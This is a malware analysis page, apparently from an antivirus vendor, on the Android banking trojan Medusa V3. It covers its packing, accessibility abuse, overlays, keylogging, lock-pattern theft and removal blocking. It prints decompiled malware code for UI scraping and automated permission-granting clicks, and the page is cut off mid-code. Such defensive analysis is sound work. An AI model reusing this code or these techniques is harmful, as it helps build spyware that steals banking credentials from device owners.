{"id":1611,"date":"2025-01-11T11:01:48","date_gmt":"2025-01-11T11:01:48","guid":{"rendered":"https:\/\/threats.amnpardaz.com\/en\/?p=1611"},"modified":"2025-02-08T11:40:09","modified_gmt":"2025-02-08T11:40:09","slug":"trojan-android-medusa-v3","status":"publish","type":"post","link":"https:\/\/threats.amnpardaz.com\/en\/2025\/01\/11\/trojan-android-medusa-v3\/","title":{"rendered":"Trojan.Android.Medusa.V3"},"content":{"rendered":"<h2 style=\"text-align: justify\">Overview<\/h2>\n<p style=\"text-align: justify\">Type: Trojan<br \/>\nDestruction level: Medium<br \/>\nPrevalence: Medium<\/p>\n<h3 style=\"text-align: justify\">Malware Names<\/h3>\n<ul style=\"text-align: justify\">\n<li style=\"text-align: justify\"><em>(Padvish) Trojan.Android.Medusa.V3<\/em><\/li>\n<li style=\"text-align: justify\"><em>(Kaspersky) HEUR:Trojan-Dropper.AndroidOS.Hqwar.hs<\/em><\/li>\n<li style=\"text-align: justify\"><em>(Avira) ANDROID\/Bankbot.FSJP.Gen<\/em><\/li>\n<li style=\"text-align: justify\"><em>(ESET) A Variant Of Android\/TrojanDropper.Agent.MES<\/em><\/li>\n<\/ul>\n<h3 style=\"text-align: justify\">What is Trojan?<\/h3>\n<p style=\"text-align: justify\">A Trojan is a type of malware that masquerades as legitimate software, presenting itself as functional and benign. However, once executed, it performs malicious actions that can cause significant damage to the system. Trojans infiltrate systems through various methods, including:<br \/>\n\u2022 Downloading software from untrusted sources,<br \/>\n\u2022 Embedded malicious code in HTML files,<br \/>\n\u2022 Malicious email attachments, and more.<\/p>\n<h3 style=\"text-align: justify\">What is the Medusa Malware Family?<\/h3>\n<p style=\"text-align: justify\">The Medusa malware family is a sophisticated Remote Access Trojan (RAT) first identified in 2020. It is equipped with a range of capabilities, including keylogging, screen recording, and the ability to read and write SMS messages. Medusa is also capable of executing fraudulent activities, such as Automated Transfer System (ATS) and Account Takeover (ATO) scenarios. By exploiting Android Accessibility Services, Medusa extends its functionality beyond a typical RAT, enabling continuous keylogging, dynamic overlay attacks, and other malicious actions directly on the victim&#8217;s device.<br \/>\nRecent versions of Medusa are more compact and feature enhanced capabilities, making them faster, stealthier, and more potent. The malware is specifically designed to exfiltrate sensitive information, such as banking credentials, credit card details, and other private data, posing a significant threat to user security and privacy.<\/p>\n<h2 style=\"text-align: justify\">Technical Review<\/h2>\n<h3 style=\"text-align: justify\">Indicators of Compromise (IoCs)<\/h3>\n<ul>\n<li style=\"text-align: justify\">Requests activation of the dangerous Accessibility permission.<\/li>\n<li style=\"text-align: justify\">Modifies system settings without user consent.<\/li>\n<li style=\"text-align: justify\">Hides the program icon to avoid detection.<\/li>\n<li style=\"text-align: justify\">Causes noticeable performance degradation on the device.<\/li>\n<\/ul>\n<h3 style=\"text-align: justify\">Performance Description<\/h3>\n<p style=\"text-align: justify\">To evade detection, the malware avoids placing its primary components in the program&#8217;s main DEX (Dalvik Executable) file. Instead, it uses packing techniques, storing its main DEX file in the Assets folder under the name Dajs.json. After installation and execution, the malware decodes this file and invokes it through the com.fluid.actor.Zwheremachine class located in the application&#8217;s class structure. This obfuscation technique complicates analysis and helps the malware remain undetected during static and dynamic analysis.<\/p>\n<p>&nbsp;<\/p>\n<p><img loading=\"lazy\" decoding=\"async\" class=\"aligncenter wp-image-4336 \" src=\"http:\/\/threats.amnpardaz.com\/wp-content\/uploads\/sites\/2\/2025\/01\/Medusa-1.png\" alt=\"Medusa \" width=\"728\" height=\"485\" \/><\/p>\n<h4 style=\"text-align: justify\"><span style=\"color: #ff0000\">?\u00a0<em>MainActivity<\/em><\/span><\/h4>\n<p>In the main activity, the malware first checks whether the YouTube app is installed on the user&#8217;s device. If present, it launches the app using an intent. A key aspect of this activity is the code line getWindow().setFlags(1024, 1024), which forces the device into full-screen mode.<\/p>\n<p>This full-screen mode serves multiple malicious purposes: it hides the malware&#8217;s actions from the user, allows the creation of deceptive interfaces resembling legitimate applications or system dialogs, and makes it more difficult for the user to exit or interact with device controls.<\/p>\n<p>Next, the malware loads a local HTML file named qugivspi.html via a WebView. This file is the first page presented to the user, prompting them to grant the Accessibility permission. Once the user approves the permission, the malware hides its icon from the user&#8217;s device, further obfuscating its presence.<\/p>\n<h4 style=\"text-align: justify\"><span style=\"color: #ff0000\">?\u00a0<em>ServiceSupportActivity<\/em><\/span><\/h4>\n<p>In this activity, after performing additional checks, the malware displays a full-screen interface to the user. This activity manages specific malware settings and permissions based on commands received via an intent. The malware retrieves the command string from the intent to determine which action the activity should execute.<\/p>\n<p>If the command is &#8220;CMD_DISPLAY_OVER_APPS&#8221;, the malware checks whether it has the permission to display its notifications over other apps (canDrawOverlays method). If this permission is not granted, it launches an activity to request it, and then the activity is closed.<\/p>\n<p>If the command is &#8220;CMD_IGNORE_BATTERY&#8221;, the malware checks whether it is allowed to bypass battery optimization. If this permission is not granted, it prompts the user to grant permission to ignore battery optimization.<\/p>\n<p>If the command is &#8220;CMD_ALL_PERMISSION&#8221;, the malware verifies whether all necessary permissions have been granted. If any permissions are missing, it uses the requestPermissions method to request them from the user.<\/p>\n<p style=\"text-align: left\"><em>&#8220;android.permission.READ_PHONE_STATE&#8221;<br \/>\n<\/em><em>&#8220;android.permission.CALL_PHONE&#8221;<br \/>\n<\/em><em>&#8220;android.permission.CAMERA&#8221;<br \/>\n<\/em><em>&#8220;android.permission.RECORD_AUDIO&#8221;<\/em><\/p>\n<h4 style=\"text-align: justify\"><span style=\"color: #ff0000\">?<em>VNCActivity<\/em><\/span><\/h4>\n<p>In this activity, the malware captures the user&#8217;s screen and streams it in real-time. If the user grants permission to capture the screen, the malware activates a service named DisplayServiceJava, which is responsible for recording or streaming the screen. Several parameters (a, b, c, d, e, f) are passed to the service, which uses these values to configure the recording or streaming session.<\/p>\n<p>The malware also retrieves configuration details from the initiating intent. It requests the necessary permissions to record the screen, and if granted, it triggers the DisplayServiceJava service to start screen recording or streaming, along with all relevant configuration parameters.<\/p>\n<h4 style=\"text-align: justify\"><span style=\"color: #339966\">?\u00a0<em>AccessibilityControllerService<\/em><\/span><\/h4>\n<p style=\"text-align: justify\">This service handles most of the malware&#8217;s malicious activities, which are outlined below:<\/p>\n<p style=\"text-align: justify\"><span style=\"color: #ff00ff\"><strong>\u25aa\ufe0f Method d<\/strong><\/span><\/p>\n<p>The d method is responsible for converting an AccessibilityNodeInfo object into a JSONObject. The AccessibilityNodeInfo class provides detailed information about a view (UI component) in an Android application. This method serializes the properties of the view into JSON format, making it easier to process or transmit the data.<\/p>\n<p>The AccessibilityNodeInfo object contains various properties, such as the view\u2019s bounds, text, descriptions, and child nodes. By capturing this information, the malware can track user interactions with the UI, including button presses, text input, and other user actions. It can also capture sensitive content such as passwords, credit card numbers, or two-factor authentication messages, which may be displayed on the screen.<\/p>\n<p dir=\"ltr\" style=\"text-align: justify\"><span style=\"color: #0000ff\">public static JSONObject d(AccessibilityNodeInfo accessibilityNodeInfo0, int v) {<\/span><\/p>\n<p dir=\"ltr\" style=\"text-align: justify\"><span style=\"color: #0000ff\">JSONObject jSONObject0 = new JSONObject();<\/span><\/p>\n<p dir=\"ltr\" style=\"text-align: justify\"><span style=\"color: #0000ff\">if(accessibilityNodeInfo0 == null) {<\/span><\/p>\n<p dir=\"ltr\" style=\"text-align: justify\"><span style=\"color: #0000ff\">return jSONObject0;<\/span><\/p>\n<p dir=\"ltr\" style=\"text-align: justify\"><span style=\"color: #0000ff\">}<\/span><\/p>\n<p dir=\"ltr\" style=\"text-align: justify\"><span style=\"color: #0000ff\">try {<\/span><\/p>\n<p dir=\"ltr\" style=\"text-align: justify\"><span style=\"color: #0000ff\">Rect rect0 = new Rect();<\/span><\/p>\n<p dir=\"ltr\" style=\"text-align: justify\"><span style=\"color: #0000ff\">accessibilityNodeInfo0.getBoundsInScreen(rect0);<\/span><\/p>\n<p dir=\"ltr\" style=\"text-align: justify\"><span style=\"color: #0000ff\">JSONObject jSONObject1 = new JSONObject();<\/span><\/p>\n<p dir=\"ltr\" style=\"text-align: justify\"><span style=\"color: #0000ff\">jSONObject1.put(&#8220;t&#8221;, rect0.top);<\/span><\/p>\n<p dir=\"ltr\" style=\"text-align: justify\"><span style=\"color: #0000ff\">jSONObject1.put(&#8220;l&#8221;, rect0.left);<\/span><\/p>\n<p dir=\"ltr\" style=\"text-align: justify\"><span style=\"color: #0000ff\">jSONObject1.put(&#8220;b&#8221;, rect0.bottom);<\/span><\/p>\n<p dir=\"ltr\" style=\"text-align: justify\"><span style=\"color: #0000ff\">jSONObject1.put(&#8220;r&#8221;, rect0.right);<\/span><\/p>\n<p dir=\"ltr\" style=\"text-align: justify\"><span style=\"color: #0000ff\">jSONObject0.put(&#8220;bs&#8221;, jSONObject1);<\/span><\/p>\n<p dir=\"ltr\" style=\"text-align: justify\"><span style=\"color: #0000ff\">if(accessibilityNodeInfo0.getText() != null) {<\/span><\/p>\n<p dir=\"ltr\" style=\"text-align: justify\"><span style=\"color: #0000ff\">jSONObject0.put(&#8220;t&#8221;, accessibilityNodeInfo0.getText());<\/span><\/p>\n<p dir=\"ltr\" style=\"text-align: justify\"><span style=\"color: #0000ff\">}<\/span><\/p>\n<p dir=\"ltr\" style=\"text-align: justify\"><span style=\"color: #0000ff\">if(accessibilityNodeInfo0.getHintText() != null) {<\/span><\/p>\n<p dir=\"ltr\" style=\"text-align: justify\"><span style=\"color: #0000ff\">jSONObject0.put(&#8220;ht&#8221;, accessibilityNodeInfo0.getHintText());<\/span><\/p>\n<p dir=\"ltr\" style=\"text-align: justify\"><span style=\"color: #0000ff\">}<\/span><\/p>\n<p dir=\"ltr\" style=\"text-align: justify\"><span style=\"color: #0000ff\">if(accessibilityNodeInfo0.getContentDescription() != null) {<\/span><\/p>\n<p dir=\"ltr\" style=\"text-align: justify\"><span style=\"color: #0000ff\">jSONObject0.put(&#8220;cd&#8221;, accessibilityNodeInfo0.getContentDescription());<\/span><\/p>\n<p dir=\"ltr\" style=\"text-align: justify\"><span style=\"color: #0000ff\">}<\/span><\/p>\n<p dir=\"ltr\" style=\"text-align: justify\"><span style=\"color: #0000ff\">if(accessibilityNodeInfo0.getViewIdResourceName() != null) {<\/span><\/p>\n<p dir=\"ltr\" style=\"text-align: justify\"><span style=\"color: #0000ff\">jSONObject0.put(&#8220;r&#8221;, accessibilityNodeInfo0.getViewIdResourceName());<\/span><\/p>\n<p dir=\"ltr\" style=\"text-align: justify\"><span style=\"color: #0000ff\">}<\/span><\/p>\n<p dir=\"ltr\" style=\"text-align: justify\"><span style=\"color: #0000ff\">if(accessibilityNodeInfo0.isCheckable()) {<\/span><\/p>\n<p dir=\"ltr\" style=\"text-align: justify\"><span style=\"color: #0000ff\">jSONObject0.put(&#8220;ch&#8221;, true);<\/span><\/p>\n<p dir=\"ltr\" style=\"text-align: justify\"><span style=\"color: #0000ff\">}<\/span><\/p>\n<p dir=\"ltr\" style=\"text-align: justify\"><span style=\"color: #0000ff\">if(accessibilityNodeInfo0.isChecked()) {<\/span><\/p>\n<p dir=\"ltr\" style=\"text-align: justify\"><span style=\"color: #0000ff\">jSONObject0.put(&#8220;che&#8221;, true);<\/span><\/p>\n<p dir=\"ltr\" style=\"text-align: justify\"><span style=\"color: #0000ff\">}<\/span><\/p>\n<p dir=\"ltr\" style=\"text-align: justify\"><span style=\"color: #0000ff\">if(accessibilityNodeInfo0.isFocusable()) {<\/span><\/p>\n<p dir=\"ltr\" style=\"text-align: justify\"><span style=\"color: #0000ff\">jSONObject0.put(&#8220;fc&#8221;, true);<\/span><\/p>\n<p dir=\"ltr\" style=\"text-align: justify\"><span style=\"color: #0000ff\">}<\/span><\/p>\n<p dir=\"ltr\" style=\"text-align: justify\"><span style=\"color: #0000ff\">if(accessibilityNodeInfo0.isFocused()) {<\/span><\/p>\n<p dir=\"ltr\" style=\"text-align: justify\"><span style=\"color: #0000ff\">jSONObject0.put(&#8220;fcd&#8221;, true);<\/span><\/p>\n<p dir=\"ltr\" style=\"text-align: justify\"><span style=\"color: #0000ff\">}<\/span><\/p>\n<p dir=\"ltr\" style=\"text-align: justify\"><span style=\"color: #0000ff\">if(accessibilityNodeInfo0.isSelected()) {<\/span><\/p>\n<p dir=\"ltr\" style=\"text-align: justify\"><span style=\"color: #0000ff\">jSONObject0.put(&#8220;sel&#8221;, true);<\/span><\/p>\n<p dir=\"ltr\" style=\"text-align: justify\"><span style=\"color: #0000ff\">}<\/span><\/p>\n<p dir=\"ltr\" style=\"text-align: justify\"><span style=\"color: #0000ff\">if(accessibilityNodeInfo0.isClickable()) {<\/span><\/p>\n<p dir=\"ltr\" style=\"text-align: justify\"><span style=\"color: #0000ff\">jSONObject0.put(&#8220;cli&#8221;, true);<\/span><\/p>\n<p dir=\"ltr\" style=\"text-align: justify\"><span style=\"color: #0000ff\">}<\/span><\/p>\n<p dir=\"ltr\" style=\"text-align: justify\"><span style=\"color: #0000ff\">if(accessibilityNodeInfo0.isLongClickable()) {<\/span><\/p>\n<p dir=\"ltr\" style=\"text-align: justify\"><span style=\"color: #0000ff\">jSONObject0.put(&#8220;lc&#8221;, true);<\/span><\/p>\n<p dir=\"ltr\" style=\"text-align: justify\"><span style=\"color: #0000ff\">}<\/span><\/p>\n<p dir=\"ltr\" style=\"text-align: justify\"><span style=\"color: #0000ff\">if(accessibilityNodeInfo0.isContextClickable()) {<\/span><\/p>\n<p dir=\"ltr\" style=\"text-align: justify\"><span style=\"color: #0000ff\">jSONObject0.put(&#8220;cc&#8221;, true);<\/span><\/p>\n<p dir=\"ltr\" style=\"text-align: justify\"><span style=\"color: #0000ff\">}<\/span><\/p>\n<p dir=\"ltr\" style=\"text-align: justify\"><span style=\"color: #0000ff\">if(accessibilityNodeInfo0.isEnabled()) {<\/span><\/p>\n<p dir=\"ltr\" style=\"text-align: justify\"><span style=\"color: #0000ff\">jSONObject0.put(&#8220;en&#8221;, true);<\/span><\/p>\n<p dir=\"ltr\" style=\"text-align: justify\"><span style=\"color: #0000ff\">}<\/span><\/p>\n<p dir=\"ltr\" style=\"text-align: justify\"><span style=\"color: #0000ff\">if(accessibilityNodeInfo0.isPassword()) {<\/span><\/p>\n<p dir=\"ltr\" style=\"text-align: justify\"><span style=\"color: #0000ff\">jSONObject0.put(&#8220;pass&#8221;, true);<\/span><\/p>\n<p dir=\"ltr\" style=\"text-align: justify\"><span style=\"color: #0000ff\">}<\/span><\/p>\n<p dir=\"ltr\" style=\"text-align: justify\"><span style=\"color: #0000ff\">if(accessibilityNodeInfo0.isScrollable()) {<\/span><\/p>\n<p dir=\"ltr\" style=\"text-align: justify\"><span style=\"color: #0000ff\">jSONObject0.put(&#8220;scr&#8221;, true);<\/span><\/p>\n<p dir=\"ltr\" style=\"text-align: justify\"><span style=\"color: #0000ff\">}<\/span><\/p>\n<p dir=\"ltr\" style=\"text-align: justify\"><span style=\"color: #0000ff\">if(accessibilityNodeInfo0.isImportantForAccessibility()) {<\/span><\/p>\n<p dir=\"ltr\" style=\"text-align: justify\"><span style=\"color: #0000ff\">jSONObject0.put(&#8220;ifa&#8221;, true);<\/span><\/p>\n<p dir=\"ltr\" style=\"text-align: justify\"><span style=\"color: #0000ff\">}<\/span><\/p>\n<p dir=\"ltr\" style=\"text-align: justify\"><span style=\"color: #0000ff\">if(accessibilityNodeInfo0.isVisibleToUser()) {<\/span><\/p>\n<p dir=\"ltr\" style=\"text-align: justify\"><span style=\"color: #0000ff\">jSONObject0.put(&#8220;vis&#8221;, true);<\/span><\/p>\n<p dir=\"ltr\" style=\"text-align: justify\"><span style=\"color: #0000ff\">}<\/span><\/p>\n<p dir=\"ltr\" style=\"text-align: justify\"><span style=\"color: #0000ff\">if(accessibilityNodeInfo0.getChildCount() &gt; 0) {<\/span><\/p>\n<p dir=\"ltr\" style=\"text-align: justify\"><span style=\"color: #0000ff\">JSONArray jSONArray0 = new JSONArray();<\/span><\/p>\n<p dir=\"ltr\" style=\"text-align: justify\"><span style=\"color: #0000ff\">for(int v1 = 0; v1 &lt; accessibilityNodeInfo0.getChildCount(); ++v1) {<\/span><\/p>\n<p dir=\"ltr\" style=\"text-align: justify\"><span style=\"color: #0000ff\">jSONArray0.put(AccessibilityControllerService.d(accessibilityNodeInfo0.getChild(v1), v + 1));<\/span><\/p>\n<p dir=\"ltr\" style=\"text-align: justify\"><span style=\"color: #0000ff\">}<\/span><\/p>\n<p dir=\"ltr\" style=\"text-align: justify\"><span style=\"color: #0000ff\">jSONObject0.put(&#8220;chi&#8221;, jSONArray0);<\/span><\/p>\n<p dir=\"ltr\" style=\"text-align: justify\"><span style=\"color: #0000ff\">}<\/span><\/p>\n<p dir=\"ltr\" style=\"text-align: justify\"><span style=\"color: #0000ff\">}<\/span><\/p>\n<p dir=\"ltr\" style=\"text-align: justify\"><span style=\"color: #0000ff\">catch(Exception unused_ex) {<\/span><\/p>\n<p dir=\"ltr\" style=\"text-align: justify\"><span style=\"color: #0000ff\">}<\/span><\/p>\n<p dir=\"ltr\" style=\"text-align: justify\"><span style=\"color: #0000ff\">return jSONObject0;<\/span><\/p>\n<p dir=\"ltr\" style=\"text-align: justify\"><span style=\"color: #0000ff\">}<\/span><\/p>\n<p style=\"text-align: justify\"><span style=\"color: #ff00ff\"><strong>\u25aa\ufe0fMethod f<\/strong><\/span><\/p>\n<p>The f method is designed to recursively search through the UI elements on an Android device using the AccessibilityService feature, specifically to locate a specific text string. It retrieves the text associated with the current AccessibilityNodeInfo object.<\/p>\n<p>If the text is not empty, the method compares it to the target string, disregarding case differences (equalsIgnoreCase). This method can be used to identify particular UI elements based on their textual content and is capable of locating sensitive items, such as password input fields, messages, user account details, or bank card numbers.<\/p>\n<p style=\"text-align: justify\"><img loading=\"lazy\" decoding=\"async\" class=\" wp-image-4331 aligncenter\" src=\"http:\/\/threats.amnpardaz.com\/wp-content\/uploads\/sites\/2\/2025\/01\/\u0645\u062a\u062f-f.png\" alt=\"\u0645\u062a\u062f f\" width=\"995\" height=\"426\" \/><\/p>\n<p style=\"text-align: justify\"><span style=\"color: #ff00ff\"><strong>\u25aa\ufe0f Method e<\/strong><\/span><\/p>\n<p>In this method, the malware creates a WebView within a FrameLayout and places it on the screen using WindowManager.LayoutParams. A value of 2032 for WindowManager.LayoutParams (with window type TYPE_SYSTEM_OVERLAY or TYPE_APPLICATION_OVERLAY) ensures that the WebView is rendered on top of other applications.<\/p>\n<p>Overlay windows are commonly used in malware to deceive users into entering sensitive information by mimicking legitimate application screens. The WebView loads a URL determined by the value of f2895f and the str parameter. If f2895f points to a remote server, the malware can load a malicious web page.<\/p>\n<p>This method allows the malware to simulate any webpage by creating a full-screen overlay via WebView, enabling JavaScript, and allowing file access. Dynamically loading a URL with a JavaScript interface enables the execution of scripts for phishing attacks or data collection, further compromising the user&#8217;s security.<\/p>\n<p style=\"text-align: justify\"><img loading=\"lazy\" decoding=\"async\" class=\" wp-image-4332 aligncenter\" src=\"http:\/\/threats.amnpardaz.com\/wp-content\/uploads\/sites\/2\/2025\/01\/3-\u0645\u062a\u062f-e.png\" alt=\"\u0645\u062a\u062f e\" width=\"1026\" height=\"581\" \/><\/p>\n<p><span style=\"color: #ff00ff\"><strong>\u25aa\ufe0fMethod c<\/strong><\/span><\/p>\n<p>In this method, the malware gathers information about UI elements, particularly those related to the lock screen pattern, using the Android accessibility service. The malware checks whether the AccessibilityNodeInfo object (accessibilityNodeInfo0) belongs to the com.android.systemui package, which typically handles elements like the lock screen, notifications, and other parts of the Android UI.<\/p>\n<p>The malware uses findAccessibilityNodeInfosByViewId(&#8220;com.android.systemui:id\/lockPatternView&#8221;) to locate elements associated with the lock pattern view, which is used to unlock the device. By accessing this view, the malware attempts to retrieve the user&#8217;s lock screen pattern information.<\/p>\n<p>To extract the lock screen details, the malware checks whether each child element within the lockPatternView is clickable. It then stores the position (top, left, bottom, right) of each element in a JSONObject. The malware also attempts to capture the text associated with each element and stores it in a variable (str), which could reveal parts of the lock pattern.<\/p>\n<p>Finally, the collected data is stored in a JSON array and transmitted to the malware&#8217;s command-and-control (C2) server. In summary, Method c is used to capture and exfiltrate lock screen pattern data by leveraging Android&#8217;s accessibility services.<\/p>\n<p style=\"text-align: justify\"><span style=\"color: #ff00ff\"><strong>\u25aa\ufe0f onAccessibilityEvent\u00a0Method <\/strong><\/span><\/p>\n<p>In this method, the malware first checks if it has the &#8220;draw over other apps&#8221; permission (Settings.canDrawOverlays). If the permission is not granted, the malware attempts to navigate the device&#8217;s settings and simulate user interaction to request this permission. Manipulating overlay settings enables the malware to display content on top of other apps, which can facilitate phishing attacks by showing fake dialogs or buttons.<\/p>\n<p>The malware simulates clicks on UI elements by performing actions on AccessibilityNodeInfo objects. It searches for specific UI elements using their ID and text. Once the overlay permission is obtained, the malware calls methods a and b, which hide the app&#8217;s activity by redirecting the user to the home screen. This action helps prevent detection of suspicious behavior or changes to settings.<\/p>\n<p>Next, the malware checks whether the flag IGNORE_BATTERY_INSTALL_REQUIRED is set in the SharedPrefManager. This flag indicates whether the malware should disable battery optimization to ensure the malware service is not killed while running in the background. If the flag is true, the malware disables battery optimization settings for itself.<\/p>\n<p>In this method, the malware checks the status of various permission requests and installations using flags such as VNC_INSTALL_REQUIRED, ACCEPT_UNINSTALL, PERMISSION_INSTALL_REQUIRED, and others. Based on the received events and the values of these flags, the method automatically responds to permission requests or installation prompts by simulating clicks on the &#8220;Allow&#8221; or &#8220;Install&#8221; buttons.<\/p>\n<p>If the malware encounters the SYSTEM_WRITE_REQUIRED flag, this method automatically navigates to the settings page and makes specific changes, such as enabling or disabling system write permissions. To do this, the method first verifies that the settings page is open, then locates the corresponding button, and activates or deactivates it as needed.<\/p>\n<p>If the KEYLOG flag is enabled, the method logs and stores specific user interactions, such as clicks, focus changes, and selections, implementing keylogging functionality. These actions may include capturing timestamps and visible text content, which are then stored in a variable for later use.<\/p>\n<p>If the LOCK_SCREEN flag is enabled, the method automatically triggers the device\u2019s screen lock. The BLOCK_APP flag allows the malware to block or close certain applications automatically if they are detected to be open. When a blocked application is launched, the method either closes the app or activates the lock screen to prevent the user from accessing it.<\/p>\n<p>The REMOVAL_BLOCK flag prevents applications from being uninstalled when the user navigates to the uninstall or settings page. The malware achieves this by identifying relevant UI elements on the settings page and simulating clicks on the cancel buttons to block removal attempts.<\/p>\n<p>In this method, findAccessibilityNodeInfosByViewId and findAccessibilityNodeInfosByText are used to locate and interact with specific UI elements. Based on the configured events and flags, the malware performs necessary actions, such as simulating clicks on these elements.<\/p>\n<p>Overall, this method enables automatic control over the device, allowing the malware to manage applications and system settings without user intervention. It can interact with dialogs, adjust settings, and control app behavior autonomously.<\/p>\n<p dir=\"ltr\" style=\"text-align: justify\"><span style=\"color: #0000ff\">public final void onAccessibilityEvent(AccessibilityEvent accessibilityEvent0) {<\/span><\/p>\n<p dir=\"ltr\" style=\"text-align: justify\"><span style=\"color: #0000ff\">String s6;<\/span><\/p>\n<p dir=\"ltr\" style=\"text-align: justify\"><span style=\"color: #0000ff\">a a0;<\/span><\/p>\n<p dir=\"ltr\" style=\"text-align: justify\"><span style=\"color: #0000ff\">String s3;<\/span><\/p>\n<p dir=\"ltr\" style=\"text-align: justify\"><span style=\"color: #0000ff\">String s2;<\/span><\/p>\n<p dir=\"ltr\" style=\"text-align: justify\"><span style=\"color: #0000ff\">String s1;<\/span><\/p>\n<p dir=\"ltr\" style=\"text-align: justify\"><span style=\"color: #0000ff\">String s;<\/span><\/p>\n<p dir=\"ltr\" style=\"text-align: justify\"><span style=\"color: #0000ff\">if(SharedPrefManager.getInstance(this.getApplicationContext()).read(&#8220;57fvxkkp9fh2vbbbbngmol52&#8221;, false)) {<\/span><\/p>\n<p dir=\"ltr\" style=\"text-align: justify\"><span style=\"color: #0000ff\">try {<\/span><\/p>\n<p dir=\"ltr\" style=\"text-align: justify\"><span style=\"color: #0000ff\">if((accessibilityEvent0.getPackageName().toString().contains(&#8220;com.android.settings&#8221;)) &amp;&amp; accessibilityEvent0.getEventType() == 0x800) {<\/span><\/p>\n<p dir=\"ltr\" style=\"text-align: justify\"><span style=\"color: #0000ff\">if(((int)SharedPrefManager.getInstance(this.getApplicationContext()).read(&#8220;vasdx3423452&#8221;, 0)) == 0) {<\/span><\/p>\n<p dir=\"ltr\" style=\"text-align: justify\"><span style=\"color: #0000ff\">List list0 = this.getRootInActiveWindow().findAccessibilityNodeInfosByViewId(&#8220;android:id\/list&#8221;);<\/span><\/p>\n<p dir=\"ltr\" style=\"text-align: justify\"><span style=\"color: #0000ff\">if(list0 == null || list0.size() == 0) {<\/span><\/p>\n<p dir=\"ltr\" style=\"text-align: justify\"><span style=\"color: #0000ff\">list0 = this.getRootInActiveWindow().findAccessibilityNodeInfosByViewId(&#8220;com.android.settings:id\/apps_list&#8221;);<\/span><\/p>\n<p dir=\"ltr\" style=\"text-align: justify\"><span style=\"color: #0000ff\">}<\/span><\/p>\n<p dir=\"ltr\" style=\"text-align: justify\"><span style=\"color: #0000ff\">Iterator iterator0 = list0.iterator();<\/span><\/p>\n<p dir=\"ltr\" style=\"text-align: justify\"><span style=\"color: #0000ff\">while(true) {<\/span><\/p>\n<p dir=\"ltr\" style=\"text-align: justify\"><span style=\"color: #0000ff\">label_7:<\/span><\/p>\n<p dir=\"ltr\" style=\"text-align: justify\"><span style=\"color: #0000ff\">if(!iterator0.hasNext()) {<\/span><\/p>\n<p dir=\"ltr\" style=\"text-align: justify\"><span style=\"color: #0000ff\">break;<\/span><\/p>\n<p dir=\"ltr\" style=\"text-align: justify\"><span style=\"color: #0000ff\">}<\/span><\/p>\n<p dir=\"ltr\" style=\"text-align: justify\"><span style=\"color: #0000ff\">Object object0 = iterator0.next();<\/span><\/p>\n<p dir=\"ltr\" style=\"text-align: justify\"><span style=\"color: #0000ff\">AccessibilityNodeInfo accessibilityNodeInfo0 = (AccessibilityNodeInfo)object0;<\/span><\/p>\n<p dir=\"ltr\" style=\"text-align: justify\"><span style=\"color: #0000ff\">alab1:<\/span><\/p>\n<p dir=\"ltr\" style=\"text-align: justify\"><span style=\"color: #0000ff\">do {<\/span><\/p>\n<p dir=\"ltr\" style=\"text-align: justify\"><span style=\"color: #0000ff\">while(true) {<\/span><\/p>\n<p dir=\"ltr\" style=\"text-align: justify\"><span style=\"color: #0000ff\">List list1 = this.getRootInActiveWindow().findAccessibilityNodeInfosByText(this.getString(0x7F0F001E));<\/span><\/p>\n<p dir=\"ltr\" style=\"text-align: justify\"><span style=\"color: #0000ff\">if(list1 == null || list1.size() &lt;= 0) {<\/span><\/p>\n<p dir=\"ltr\" style=\"text-align: justify\"><span style=\"color: #0000ff\">accessibilityNodeInfo0.performAction(0x1000);<\/span><\/p>\n<p dir=\"ltr\" style=\"text-align: justify\"><span style=\"color: #0000ff\">break;<\/span><\/p>\n<p dir=\"ltr\" style=\"text-align: justify\"><span style=\"color: #0000ff\">}<\/span><\/p>\n<p dir=\"ltr\" style=\"text-align: justify\"><span style=\"color: #0000ff\">AccessibilityNodeInfo accessibilityNodeInfo1;<\/span><\/p>\n<p dir=\"ltr\" style=\"text-align: justify\"><span style=\"color: #0000ff\">for(accessibilityNodeInfo1 = (AccessibilityNodeInfo)list1.get(0); !accessibilityNodeInfo1.isClickable(); accessibilityNodeInfo1 = accessibilityNodeInfo1.getParent()) {<\/span><\/p>\n<p dir=\"ltr\" style=\"text-align: justify\"><span style=\"color: #0000ff\">}<\/span><\/p>\n<p dir=\"ltr\" style=\"text-align: justify\"><span style=\"color: #0000ff\">if(!accessibilityNodeInfo1.performAction(16)) {<\/span><\/p>\n<p dir=\"ltr\" style=\"text-align: justify\"><span style=\"color: #0000ff\">break;<\/span><\/p>\n<p dir=\"ltr\" style=\"text-align: justify\"><span style=\"color: #0000ff\">}<\/span><\/p>\n<p dir=\"ltr\" style=\"text-align: justify\"><span style=\"color: #0000ff\">break alab1;<\/span><\/p>\n<p dir=\"ltr\" style=\"text-align: justify\"><span style=\"color: #0000ff\">}<\/span><\/p>\n<p dir=\"ltr\" style=\"text-align: justify\"><span style=\"color: #0000ff\">}<\/span><\/p>\n<p dir=\"ltr\" style=\"text-align: justify\"><span style=\"color: #0000ff\">while(true);<\/span><\/p>\n<p dir=\"ltr\" style=\"text-align: justify\"><span style=\"color: #0000ff\">if(!Settings.canDrawOverlays(this.getApplicationContext())) {<\/span><\/p>\n<p dir=\"ltr\" style=\"text-align: justify\"><span style=\"color: #0000ff\">SharedPrefManager.getInstance(this.getApplicationContext()).write(&#8220;vasdx3423452&#8221;, Integer.valueOf(1));<\/span><\/p>\n<p dir=\"ltr\" style=\"text-align: justify\"><span style=\"color: #0000ff\">goto label_7;<\/span><\/p>\n<p dir=\"ltr\" style=\"text-align: justify\"><span style=\"color: #0000ff\">}<\/span><\/p>\n<p dir=\"ltr\" style=\"text-align: justify\"><span style=\"color: #0000ff\">SharedPrefManager.getInstance(this.getApplicationContext()).write(&#8220;57fvxkkp9fh2vbbbbngmol52&#8221;, false);<\/span><\/p>\n<p dir=\"ltr\" style=\"text-align: justify\"><span style=\"color: #0000ff\">this.b();<\/span><\/p>\n<p dir=\"ltr\" style=\"text-align: justify\"><span style=\"color: #0000ff\">this.a();<\/span><\/p>\n<p dir=\"ltr\" style=\"text-align: justify\"><span style=\"color: #0000ff\">}<\/span><\/p>\n<p dir=\"ltr\" style=\"text-align: justify\"><span style=\"color: #0000ff\">}<\/span><\/p>\n<p dir=\"ltr\" style=\"text-align: justify\"><span style=\"color: #0000ff\">else if(Settings.canDrawOverlays(this.getApplicationContext())) {<\/span><\/p>\n<p dir=\"ltr\" style=\"text-align: justify\"><span style=\"color: #0000ff\">SharedPrefManager.getInstance(this.getApplicationContext()).write(&#8220;57fvxkkp9fh2vbbbbngmol52&#8221;, 